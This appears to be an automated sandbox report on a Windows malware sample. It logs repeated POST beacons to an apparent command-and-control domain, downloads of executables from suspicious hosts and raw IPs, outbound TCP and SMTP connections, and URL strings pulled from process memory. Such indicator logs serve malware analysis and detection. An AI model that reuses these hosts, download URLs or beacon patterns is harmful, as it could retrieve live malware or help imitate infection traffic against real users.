1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rrooukv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxyqqf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dutgomfkc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qwfulsm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxkloxn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hopcq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ocnbwlevej.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gdffxf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://psgcnvvm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vxjxd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpabshq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ubyvpwxipt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pxnotaacu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnpyohcdyx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://byfupx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iijrpdo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ntsddipn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vkaflekmve.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://seaed.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://obclg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pgydqikexd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gminomh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tgajiadc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xvuvc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tdosgx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npqwstsduq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ouyysee.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rtqpowrk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hhpljg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ipycpcfbe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sdstpsloir.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tfxyjpgh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycdbyxqt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gcfxlgitg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://afdvsashlg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kapjpsnnjq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcsjausffk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://djmmsjo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ipjoaoftf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sdkmuxkbh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vomuxg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fjenisnthl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pixmwg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwbuboe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pylkam.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 179Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdhqx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pslqekdvh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecicwppql.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tlwsaw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://krrkfa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gfydmobm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 290Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhdak.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 283Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://assuf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 118Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rblisqqaii.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xnvwvqck.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vltihla.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qnqlcbx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://flqhri.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://poqgfb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oycnsawak.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6236.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ylanbcfwv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yxorycdxma.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tcqdnx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.4:49806 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 86.107.197.138:38133

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic

TCP traffic: 192.168.2.4:49849 -> 104.47.54.36:25

Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp

String found in binary or memory: https://www.facebook.com/chat/video/videocalldownload.php

Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: WerFault.exe, 00000011.00000003.800022115.0000000004FB9000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000002.805338567.0000000004FB9000.00000004.00000001.sdmp, svchost.exe, 00000016.00000002.819415155.000001A7842EC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: svchost.exe, 00000016.00000003.792006375.000001A784B93000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
